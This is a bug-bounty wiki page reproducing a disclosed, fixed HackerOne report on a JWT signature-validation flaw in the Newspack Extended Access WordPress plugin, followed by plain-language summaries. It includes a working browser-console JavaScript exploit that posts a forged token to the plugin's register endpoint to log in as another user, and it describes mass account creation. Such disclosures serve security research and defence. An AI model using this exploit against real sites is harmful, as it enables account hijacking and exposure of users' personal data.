Skip to content
Account takeover Disclosed report Intermediate

Authentication & Registration Bypass in Newspack Extended Access

The Newspack Extended Access plugin accepts a JSON Web Token at its registration and login endpoint without checking the token's signature. An attacker who knows a target account's email address can craft an unsigned token with that email and be logged in as that user, or create new accounts with arbitrary details.

xurizaemon0 Follow

Originally disclosed on HackerOne

Medium 6.5 View original
  • Fixed in 18 days
  • Paid in 18 days
  • Disclosed after 30 days

Summary:

The Newspack Extended Access plugin omits to validate JWT signing on the registration and login JSON endpoint. This permits registration of accounts with arbitrary (user-supplied) details, and auth bypass and account hijack if a target account email is known.

Platform(s) Affected:

Any website using Newspack Extended Access plugin.

Steps To Reproduce:

Create an unsigned JWT containing payload value {email: "[email protected]"}. Use a browser to supply this data to the Extended Access registration endpoint. Browser will be authenticated as the target user.

Alternative attack path: use lack of validation to create new accounts with "Customer" role via same endpoint using untrusted inputs. Potential for malicious inputs or DoS through unprotected user creation endpoint.

Requirements

  1. Site installed and configured with Newspack Extended Access (+ dependencies incl WooCommerce, WC Memberships, Newspack).
  2. Target user email is known (for account hijack)

Notes:

  1. For account hijack, target user must be registered via SwG / Extended Access initially
  2. For account hijack, target user is not Administrator or Editor (but may be any other privileged or unprivileged role)

Reproduction (account hijack)

  1. Be logged out of the target website
  2. Create a JWT token with value email set to the target account email. This can be done using the website https://token.dev - the email value is the only significant input for account hijack. Copy the resulting token value.
  3. Visit the target website and use the following code in browser console to authenticate as the target user:
// Endpoint URL
let url = `${window.location.protocol}//${window.location.hostname}/wp-json/newspack-extended-access/v1/google/register`;
// JWT contents - this JWT contains email "[email protected]".
let token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwiZW1haWwiOiJ0ZXN0QGV4YW1wbGUub3JnIiwiaWF0IjoxNzEzNjY2NjQ5LCJleHAiOjE3MTM2NzAyNDl9.I8D18nWsn5H6AylwJdak8727APyiMCWkcnXH95vMF_k";
// Provide token to authentication endpoint.
fetch(  
    url,  
    {  
       cache: 'no-store',  
       method: 'POST',  
       headers: {  
          'Content-type': 'text/plain',  
       },  
       body: token  
    }  
).then(response => {  
    console.log(response.json(), 'response');  
})

The browser will now be logged into the target account. Personal data (eg the target user's additional account details, billing address etc) will be visible to the attacker.

Reproduction (account creation)

Submitting new accounts via the above method is also possible. Accepting untrusted user submitted input here may allow for additional attack paths when user details are displayed to administrator. Potential for abuse of unprotected submissions via the endpoint would likely permit additional attacks by creating excessive user accounts.

Supporting Material/References:

JWT is accepted without validation of JWT signature. Ref https://github.com/Automattic/newspack-extended-access/blob/trunk/includes/class-rest-controller.php#L81-L87

Mitigation: Newspack Extended Access prevents sign-in via this method if the user has role "Editor" or "Administrator", but does not prevent sign-in if the user has other privileged roles eg "Shop Administrator". Ref https://github.com/Automattic/newspack-extended-access/blob/trunk/includes/class-rest-controller.php#L96-L99

Mitigation: Newspack restricts authentication to user accounts which have metadata indicating that Signin with Google was used for initial sign-in. Ref https://github.com/Automattic/newspack-plugin/blob/trunk/includes/reader-activation/class-reader-activation.php#L681-L690

Impact

  • Registration of accounts with arbitrary (user-supplied) details
  • Authentication bypass if the target account email is known
  • Injection of untrusted data into user profiles

The original report as published on HackerOne, by xurizaemon0. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker who knows a target email could log in as that user and see their personal data, but only for accounts created through Sign in with Google that are not Administrator or Editor; other privileged roles such as Shop Administrator are not blocked.

What the attacker needed

Site runs Newspack Extended Access; target email is known; target signed up via Sign in with Google; target is not Administrator or Editor

How it was found

  1. Be logged out of the target website.
  2. Create a JWT whose email value is the target account's email address.
  3. Send that token in the body of a POST request to the plugin's Google register endpoint from the browser.
  4. The browser session is now authenticated as the target user.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A JSON Web Token (JWT) is a small signed note a site uses to prove who you are. The site here reads the note but never checks the signature, so anyone can write their own note claiming to be someone else. If the attacker knows your email address, they can log in as you.

What is Account takeover?

Getting into someone else's account through a flaw in sign-in, password reset, second factor, single sign-on or session handling.

More from Automattic

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Account takeover

The lesson behind this report.

Getting into someone else's account through a flaw in sign-in, password reset, second factor, single sign-on or session handling.